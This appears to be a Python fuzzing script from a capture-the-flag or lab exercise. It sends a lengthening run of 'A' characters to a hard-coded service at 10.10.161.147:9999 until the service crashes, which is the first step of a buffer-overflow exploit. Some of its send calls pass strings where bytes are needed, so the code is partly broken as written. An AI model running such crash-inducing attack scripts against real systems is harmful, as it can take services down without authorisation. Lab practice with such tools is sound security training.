32 lines
851 B
Python
32 lines
851 B
Python
|
#!/usr/bin/env python3
|
||
|
|
||
|
import socket, time, sys
|
||
|
|
||
|
ip = "10.10.161.147"
|
||
|
port = 9999
|
||
|
timeout = 5
|
||
|
prefix = ""
|
||
|
|
||
|
string = prefix + "A" * 100
|
||
|
|
||
|
while True:
|
||
|
try:
|
||
|
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
||
|
s.settimeout(timeout)
|
||
|
s.connect((ip, port))
|
||
|
s.recv(1024)
|
||
|
s.recv(1024)
|
||
|
s.send("User" '\r\n')
|
||
|
#print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
|
||
|
s.send(bytes(string, "latin-1"))
|
||
|
s.recv(1024)
|
||
|
s.send(string + '\r\n')
|
||
|
#print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
|
||
|
print(f"fuzzing with {len(string)} bytes")
|
||
|
except:
|
||
|
#print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
|
||
|
sys.exit(0)
|
||
|
string += 100 * "A"
|
||
|
time.sleep(1)
|
||
|
|